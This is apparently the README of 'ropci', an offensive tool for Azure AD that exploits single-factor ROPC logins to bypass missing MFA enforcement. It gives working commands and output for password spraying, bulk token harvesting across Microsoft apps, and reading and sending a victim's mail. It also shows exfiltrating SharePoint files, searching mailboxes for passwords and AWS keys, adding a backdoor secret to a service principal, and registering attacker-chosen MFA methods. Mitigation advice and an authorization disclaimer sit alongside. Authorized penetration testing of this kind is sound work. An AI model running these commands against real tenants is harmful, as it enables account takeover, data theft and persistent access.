This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded.
The guidance is: Always explicitly enforce MFA!
Sounds easy, but testing results show that real world setups are convoluted and at times provide MFA bypass opportunities.
Resource Owner Password Credentials (ROPC) allows to authenticate to OAuth2 apps via username and password.
It is a deprecated auth flow that requires a high degree of trust between participants. Many built-in Microsoft Azure OAuth apps support ROPC and can be leveraged by attackers.
Because it supports only single-factor username/password authentication, ROPC is an avenue to exploit MFA misconfigurations (such as lack of MFA enforcement).
Download a pre-built release for your platform of choice here.
Alternatively, you can build it yourself. Grab a copy of the source and go build:
git clone https://github.com/wunderwuzzi23/ropci
go build -ldflags "-s -w -X 'ropci/cmd.VersionInfo=$(git rev-parse HEAD)'" -o ropci main.go
That's it.
To perform a quick ad-hoc test for an account run:
./ropci auth logon -t $YOUR_TENANT -u $YOUR_USER -P --discard-token
Where you set, or replace $YOUR_TENANT and $YOUR_USER with the account and tenant to test.
-P: means to prompt for password, rather then reading from config file or command line.--discard-token: if authentication succeeds, the returned access token will not be stored.
If this succeeds it means that single-factor ROPC authentication succeeded. This is probably unwanted, as things get bad from here. You should reach out to an IT administrator to discuss ROPC and have this fixed.
The leverage all the features of ropci, let's first configure it.
If you run ./ropci configure you can persist auth information to a config file.
$ ./ropci configure
Let's set things up by entering Tenant, Username and Password.
Azure Tenant Name or ID (e.g. contoso.onmicrosoft.com): contoso.onmicrosoft.com
Username (e.g. bob@example.org): joe@example.org
Nearly done, let's enter the password.
You can leave the password blank if you don't want it stored, and specify the -P flag each time.
Password:
Configuration complete.
The default config settings are stored in the .ropci.yaml file. The important settings are: tenant, username, password and clientid.
ropci has built-in help that describes various flags and features.
$ ./ropci
Resource Owner Password Credentials Assessment Tool for AAD.
ropci by wunderwuzzi23
Usage:
ropci [flags]
ropci [command]
Available Commands:
apps List all the apps/clientids (servicePrincipals) available in the tenant
auth Authenticate to AAD using ROPC
azure Interact with Azure Resource Manager
call Generic call method to invoke arbitrary APIs
completion Generate the autocompletion script for the specified shell
configure Initialize the ropci configuration to get started.
drive List, download or upload files to Sharepoint
groups List or create groups
help Help about any command
mail Access mail of the user
search Search through mail messages, chats or Sharepoint files
users List all users or an individual user's details
Flags:
-a, --all Retrieve all records, this could take a while
-A, --azureuri string Azure Resource Management Uri (default "https://management.azure.com")
--config string config file (default is ./.ropci.yaml)
--format string output results in table, csv or json (when applicable (default "table")
-G, --graphuri string graph endpoint/version to call when access Microsoft Graph API (default "https://graph.microsoft.com/beta")
-h, --help help for ropci
-v, --verbose Print more info
--version version for ropci
Use "ropci [command] --help" for more information about a command.
Then ./ropci auth logon will get an access token for the user/password/client id specified in the .ropci.yaml file.
$ ./ropci auth logon
Succeeded. Token written to .token.
Its possible to provide a custom client_id by providing the --clientid argument - more about testing of specific apps later.
If authentication fails you will receive an error message, stating the AAD error that occured.
You can later also refresh a token by running ./ropci auth refresh. This also allows you to import a refresh token from elsewhere via ./ropci auth refresh --refresh token {token}.
To get an access_token via the devicecode flow you can leverage ./ropci auth deviceflow.
This is useful if you want to play around with the other post-authentication features of ropci.
The first offsec tests should revolve around evaluating if MFA is configured correcty (if at all).
There are a couple of things to explore, including testing:
- Your own user account: Users hopefully have MFA enforced.
- Service Accounts: A common angle for MFA bypasses.
- AAD only accounts: Test for AAD only accounts (important, but not limited to federation scenarios where MFA is configured at the federated identity provider)
Let's take a look at this example:
$ ./ropci auth logon -u alice@wunderwuzzi.net -P
Password:
Succeeded. Token written to .token.
- Use
-ufor testing different accounts (without having to update the configuration file). - The
-Pargument means that the tool will prompt fo the password that way it's not on the command line.
That's the basic auth/testing mechanism.
ropci also comes with the ability to perform an ROPC based password spray.
./ropci auth spray --users-file users.list --passwords-file passwords.list -o result --wait 60 --wait-try 10
Attempts: 12 for ClientID d3590ed6-52b3-4102-aeff-aad2292ab01c
Attempt 0001: alice@wunderwuzzi.net test1242355 invalid username or password
Attempt 0002: tom@wunderwuzzi.net test123 invalid username or password
Attempt 0003: doesnotexist@wunderwuzzi.net test1242355 account does not exist
Attempt 0004: tom@wunderwuzzi.net test1242355 invalid username or password
Attempt 0005: tom@wunderwuzzi.net Sommer2022! invalid username or password
Attempt 0006: doesnotexist@wunderwuzzi.net Sommer2022! account does not exist
Attempt 0007: alice@wunderwuzzi.net test invalid username or password
Attempt 0008: alice@wunderwuzzi.net test123 invalid username or password
Attempt 0009: doesnotexist@wunderwuzzi.net test123 account does not exist
Attempt 0010: alice@wunderwuzzi.net Sommer2022! success
Attempt 0011: doesnotexist@wunderwuzzi.net test account does not exist
Attempt 0012: tom@wunderwuzzi.net test invalid username or password
Be aware of any account lockout policies, and make sure you have proper authorization before engaging in such testing.
In case you got an access token it is a good idea to enumerate all the OAuth apps that are registered for a tenant.
To enumerate all OAuth2 apps (so called servicePrincipals in AAD) use ./ropci apps list:
$ ./ropci apps list
+----------------------------------------------------------------+--------------------------------------+--------------------+
| displayName | appId | publisherName |
+----------------------------------------------------------------+--------------------------------------+--------------------+
| Microsoft Teams Mailhook | 51133ff5-8e0d-4078-bcca-84fb7f905b64 | Microsoft Services |
| OCaaS Client Interaction Service | c2ada927-a9e2-4564-aae2-70775a2fa0af | Microsoft Services |
| Microsoft Office Licensing Service vNext | db55028d-e5ba-420f-816a-d18c861aefdf | Microsoft Services |
| Messaging Bot API Application | 5a807f24-c9de-44ee-a3a7-329e88a00ffc | Microsoft Services |
| Service Encryption | dbc36ae1-c097-4df9-8d94-343c3d091a76 | Microsoft Services |
| Microsoft Mobile Application Management Backend | 354b5b6d-abd6-4736-9f51-1be80049b91f | Microsoft Services |
| Microsoft Graph | 00000003-0000-0000-c000-000000000000 | Microsoft Services |
| Permission Service O365 | 6d32b7f8-782e-43e0-ac47-aaad9f4eb839 | Microsoft Services |
| SubscriptionRP | e3335adb-5ca0-40dc-b8d3-bedc094e523b | Microsoft Services |
.....
There are likely more then 100 apps in your tenant. ropci will only show you 100 entries by default. Use the --all argument when calling the command to list everything, you can also output all the details as json.
./ropci apps list --all --format json -o apps.json
Use the following command to get a csv file that can be used with the ./ropci auth bulk command:
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
This will create a csv file that can be used with the auth bulk command.
The command for this is ./ropci auth bulk -i apps.csv -o output.json.
Here is an example:
$ ./ropci auth bulk -i apps.csv -o results.json
ClientIDs from CSV file apps.csv.
Results will be written to results.json.
Issuing Requests...~420
Waiting for results...
+------------------------------------------+--------------------------------------+---------+-----------------------------------+
| displayName | appId | result | scope |
+------------------------------------------+--------------------------------------+---------+-----------------------------------+
| Microsoft Teams ATP Service | 0fa37baf-7afc-4baf-ab2d-d5bb891d53ef | error | |
| Microsoft Dynamics CRM | 2db8cb1d-fb6c-450b-ab09-49b6ae35186b | error | |
| Microsoft Outlook | 5d661950-3475-41cd-a2c3-d671a3162bc1 | success | email openid profile |
| | | | AuditLog.Create Chat.Read |
| | | | DataLossPreventionPolicy.Evaluate |
| | | | Directory.Read.All |
| | | | EduRoster.ReadBasic |
| | | | Files.ReadWrite.All |
| | | | Group.ReadWrite.All |
| | | | InformationProtectionPolicy.Read |
| | | | OnlineMeetings.Read People.Read |
| | | | SensitiveInfoType.Detect |
| | | | SensitiveInfoType.Read.All |
| | | | SensitivityLabel.Evaluate |
| | | | User.Invite.All User.Read |
| | | | User.ReadBasic.All |
| Service | | | |
| PushChannel | 4747d38e-36c5-4bc3-979b-b0ef74df54d1 | error | |
| Microsoft.MileIQ | a25dbca8-4e60-48e5-80a2-0664fdb5c9b6 | success | profile openid email |
| | | | user_impersonation |
| Storage Resource Provider | a6aa9161-5291-40bb-8c5c-923b567bee3b | error | |
| M365 Admin Services | 6b91db1b-f05b-405a-a0b2-e3f60b28d645 | error | |
| Microsoft Teams | 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | success | email openid profile |
| | | | Channel.ReadBasic.All |
| | | | Contacts.ReadWrite.Shared |
| | | | Files.ReadWrite.All |
| | | | InformationProtectionPolicy.Read |
| | | | MailboxSettings.ReadWrite |
| | | | Notes.ReadWrite.All |
| | | | People.Read Place.Read.All |
| | | | Sites.ReadWrite.All |
| | | | Tasks.ReadWrite |
| | | | User.ReadBasic.All |
| Power BI Service | 00000009-0000-0000-c000-000000000000 | error | |
...
+------------------------------------------+--------------------------------------+---------+-----------------------------------+
Done.
You could now run the following command to analyze valid tokens and there scopes:
$ cat results.json | jq -r 'select (.access_token!="") | [.display_name,.scope] | @csv'
Happy Hacking.
This gives you an idea which applications support ROPC and what permissions they have that an adversary could abuse.
The result file will already contain the retrieved access_tokens from each app.
It's also a good list for the IT admins and blue team to monitor and lock down.
There are a set of well-known Microsoft ROPC capable apps that allow to:
- Users and Group memberships (
./ropci usersand./ropci groups) - Reading and sending email for the compromised account (
./ropci mailand./ropci mail send) - Reading and uploading files to SharePoint/OneDrive (
./ropci drive) - Using the search API to find secrets and other information (
./ropci search)
The use the API's succesfully an appropriate access token has to be stored in the .token file.
In order to switch to a different clientid the following command can be used ./ropc auth logon --clientid 57336123-6e14-4acc-8dcf-287b6088aa28.
Using the other commands, such as ./ropci mail it's possible to read or even send email. Using ./ropci drive its possible to exfiltrate or upload data from/to SharePoint. There is also a ./ropci search features that can be used to search an account's mailbox for interesting terms.
All the apps and there permission are in the checked csv file, but for regular tests the following three should suffice.:
57336123-6e14-4acc-8dcf-287b6088aa28 - Microsoft Whiteboard Client
email openid profile Calendars.Read Channel.ReadBasic.All ChannelMessage.Send Contacts.Read Directory.Read.All EduRoster.ReadBasic Files.ReadWrite.All Group.Read.All Mail.ReadWrite Mail.Send Notes.Create Notes.Read Notes.ReadWrite People.Read User.Read User.Read.All User.ReadBasic.All
00b41c95-dab0-4487-9791-b9d2c32c80f2 - Office 365 Management
email openid profile Contacts.Read Contacts.ReadWrite Directory.AccessAsUser.All Mail.ReadWrite Mail.ReadWrite.All People.Read People.ReadWrite Tasks.ReadWrite User.ReadWrite User.ReadWrite.All
d3590ed6-52b3-4102-aeff-aad2292ab01c - Microsoft Office
email openid profile AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite DataLossPreventionPolicy.Evaluate DeviceManagementConfiguration.Read.All DeviceManagementConfiguration.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Notes.Create People.Read People.Read.All SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All User.Read.All User.ReadBasic.All User.ReadWrite Users.Read
A couple of items to dive into and cross-check:
- Is MFA enforced for all accounts?
- What exceptions exist? What about service accounts or AAD only accouts? :)
- SSO. Is MFA handled by another identity provider? This might could leave tenant vulnerable to ROPC attacks.
- Review custom applications that are present in your tenant. Do they support ROPC? Can anyone use them? Lock them down.
- Review Sign-In logs for single-factor authentication requests and ROPC
Here is a quick recap and testing and mitigation recommendations:
- Always explicitly enforce MFA! This sounds easy, but apparently it seems to be a challenge to implement given the amount and kind of bypasses I have seen with production AAD tenants.
- If you paid for Azure Premium, leverage Conditional Access Policies to enforce MFA.
- Security defaults might not adequately protect user accounts. In some of my testing I switched IP address multiple times to various countries (impossible travel) and ROPC authentication continued to succeed. It’s best to enforce MFA for all accounts, rather then depending on security defaults to make the right decisions.
- Hybrid and federated MFA enforcement can leave "native" AAD accounts vulnerable.
- Some scenarios might remain vulnerable to single factor authentication. The exposure should be known, and a conscious decision (risk acceptance)
- Know your weaknesses, monitor exposure, and continue locking down settings.
- Test and validate your configurations from an offensive security point of view!
Show some interesting info about a user (by default logged on user is used):
./ropci users who [-u joe@example.org]
By default the following searches for the word password:
./ropci search
But you can specify a custom query with -q. Here is an example:
./ropci search -q 'AWS_ACCESS' -f rank -f summary
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
| rank | summary |
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | ...is not known. <c0>AWS_ACCESS</c0>_KEY_ID=AKIAsomethingsomething AWS_SECRET_ACCESS_KEY=this_is_a_secret This grants you access to the EC2 instance and
you can create s3 data. Greetings,Security. |
+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+
Number of items: 1
Pretty neat.
You can also search for other items, like Sharepoint listItems, etc.. by specifying -t and the type.
./ropci groups list --format json -o groups.json
cat groups.json | jq -r '.value[].id'
#./ropci groups member-list -g
./ropci call -c /users/bob@wunderwuzzi.net/ownedObjects
./ropci call -c '/me/getMemberGroups' -b '{"securityEnabledOnly": false }' --verb POST
./ropci users list -s userPrincipalName:bob
Uploading a file to SharePoint drive:
./ropci drive upload -p "/Tom @ ExampleOrg, LLC/testing.txt" -d ./ropci -v
The following command will show some basic info about the accounts inbox:
./ropci mail list
Read mail body.content in text form:
./ropci mail list --format json | jq .value[].body.content
List or add an owner of a group:
./ropci groups owner-list -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0
./ropci groups owner-add -u 0df463da-1a1c-4dba-817d-ca72438524ce -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0
This is quite important in order to protect yourself:
./ropci auth invalidate
Which basically calls /me/invalidateAllRefreshTokens:
./ropci call -c /me/invalidateAllRefreshTokens --verb POST
If you try to refresh now with ./ropci auth refresh the following error will be shown:
AADSTS50173: The provided grant has expired due to it being revoked, a fresh auth token is needed. The user might have changed or reset their password. The grant was issued on '2022-09-05T18:48:10.7367392Z' and the TokensValidFrom date (before which tokens are not valid) for this user is '2022-09-05T18:48:54.0000000Z'
Refresh tokens have been invalidated for the logged on user. If the account has the right permissions one can also call /users/username@expample.org/invalidateAllRefreshTokens to invalidate refresh tokens of another account.
./ropci call -c /users/user@example.org/appRoleAssignments -f id -f principalDisplayName -f resourceDisplayName -f resourceId
+---------------------------------------------+----------------------+-------------------------+--------------------------------------+
| id | principalDisplayName | resourceDisplayName | resourceId |
+---------------------------------------------+----------------------+-------------------------+--------------------------------------+
| 5c6Mg23JVUWFS5E9XaB_vQObgianBrBMugogPRfMvYU | Vera Mitchell | Apple Internet Accounts | 36559af8-a122-4101-b6c7-adccfa24506d |
| 5c6Mg23JVUWFS5E9XaB_vUG-XjOYoexCm4D9r2fYwxI | Vera Mitchell | Graph Explorer | f3ff1808-52d0-4516-b090-28a06cd24783 |
| 5c6Mg23JVUWFS5E9XaB_vaBGH-RIpJRMuE0qYZ7s5ZE | Vera Mitchell | AppForHealthServices | 48359af7-af3a-42d4-abe2-8425a14689c9 |
+---------------------------------------------+----------------------+-------------------------+--------------------------------------+
$ ./ropci call -c /servicePrincipals/48359af7-af3a-42d4-abe2-8425a14689c9/addPassword \
--verb POST -b '{"passwordCredential": { "displayName": "ropci says this is fine"}} | jq
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#servicePrincipals('48359af7-af3a-42d4-abe2-8425a14689c9')/addPassword",
"@odata.type": "#microsoft.graph.servicePrincipal",
"customKeyIdentifier": null,
"endDateTime": "2024-09-05T19:48:11.1638864Z",
"keyId": "c47e91ff-986c-4f8f-9cc0-d41bdd038d49",
"startDateTime": "2022-09-05T19:48:11.1638864Z",
"secretText": "Yhj8Q~H1np.....4iEGuf0djD",
"hint": "Yhj",
"displayName": "ropci says this is fine"
}
Take note of the response, and the secretText. This is what can be used to impersonate the service principal.
With that secretText, which is the client_secret you can get an access token via the OAuth2 client_credential flow:
curl -d 'grant_type=client_credentials&client_id=2581d8b8-2e9c-4374-a418-06f9cfed87ff&client_secret=Yhj8Q~H1np.....4iEGuf0djD&scope=https://graph.microsoft.com/.default' https://login.microsoftonline.com/wuzzi.onmicrosoft.com/oauth2/v2.0/token
Fun times!
./ropci call -c /me/chats
./ropci search -t person -q "ropci" --format json | jq
The call command allows to invoke the many other APIs that are exposed. Here are a couple of interesting examples:
./ropci call -c /domains --format json -o domains.json
./ropci call -c /domains/{tenant}}/verificationDnsRecords --format json -o verificationDnsRecords-domain1.json
./ropci call -c /organization --format json -o organization.json
./ropci call -c /identity/conditionalAccess/policies --format json -o conditionalAccess-Policies.json
./ropci call -c '/identity/b2cUserFlows/B2C_test_signin_signup/userflowIdentityProviders'
./ropci auth logon --clientid 27922004-5251-4030-b22d-91ecd9a37ea4 # Use Outlook Mobile clientID
./ropci call -c '/me/authentication/methods' -f id -f emailAddress --format json | jq
./ropci call -c '/me/authentication/phoneMethods' -f id -f phoneNumber -f phoneType
./ropci call -c '/me/authentication/emailMethods' -f id -f emailAddress
./ropci call -c '/me/authentication/phoneMethods' --verb POST -b '{"phoneNumber": "+1 5558008000","phoneType": "mobile"}'
./ropci call -c '/me/authentication/emailMethods' --verb POST -b '{"emailAddress": "joe@example.org"}'
When an object (e.g. user account) is deleted, it's not entirely deleted right away. It's possible to restore them within 30 days. The following command lists the delete users:
./ropci call -c /directory/deletedItems/microsoft.graph.user
+--------------------------------------+-------------+------+
| id | displayName | name |
+--------------------------------------+-------------+------+
| e94d329b-ec6a-41fa-923c-fcd0eab5b12e | John Ropci | |
| ea9f55dc-f38b-4344-8731-a97454778094 | Ropci | |
+--------------------------------------+-------------+------+
There is a lot more to explore. Hope this was helpful.
Cheers!
Pentesting and security assessments require authorization from proper stakeholders. Do not do anything illegal.
If you are on Linux, and want to comple Windows or macOS versions you can use:
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -X 'ropci/cmd.VersionInfo=$(git rev-parse HEAD)'" -o ropci.exe main.go
GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w -X 'ropci/cmd.VersionInfo=$(git rev-parse HEAD)'" -o ropci main.go
- AADInternals by @DrAzureAD: https://o365blog.com/aadinternals
- Abusing Family Refresh Tokens by SecureWorks: https://github.com/secureworks/family-of-client-ids-research
- Other interesting tooling: ROADTools, TeamFiltration,...
- Microsoft Graph API: https://learn.microsoft.com/en-us/graph/
- OAuth RFC: https://www.rfc-editor.org/rfc/rfc6749.html
- OAuth 2.0 Security Best Current Practice: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#page-9
- ROPC docs: https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth-ropc
- Hackers are using this sneaky exploit to bypass Microsoft's MFA: https://www.zdnet.com/article/hackers-are-using-this-sneaky-trick-to-exploit-dormant-microsoft-cloud-accounts-and-bypass-multi-factor-authentication/
